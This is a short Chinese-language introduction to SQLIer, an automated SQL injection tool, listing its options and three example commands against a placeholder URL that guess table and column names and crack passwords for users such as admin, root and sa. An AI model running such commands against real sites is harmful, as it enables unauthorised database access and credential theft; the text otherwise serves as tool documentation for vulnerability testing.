現代企業大量採用 Web 應用,資料庫成為核心資產。SQL 注入仍是最常見攻擊向量。自動化掃描器能高效發現漏洞。本文介紹首款工具 SQLIer。
sqlier [選項] [URL]
選項:
-c [host] 清除主機快取
-s [seconds] 請求間隔秒數(預設 0)
-u [users] 指定破解使用者(逗號分隔)
-w [options] 透傳 wget 參數
--table-names 指定猜測資料表名
--user-fields 指定使用者欄位名
--pass-fields 指定密碼欄位名
# 1. 自動探測並嘗試預設表/欄位名
sqlier -s 10 https://example.com/sqlihole.php?id=1
# 2. 指定使用者清單破解
sqlier -s 10 https://example.com/sqlihole.php?id=1 -u admin,root,sa
# 3. 自定義表/欄位名
sqlier -s 10 https://example.com/sqlihole.php?id=1 \
--table-names users,admins \
--user-fields username,login \
--pass-fields password,passwd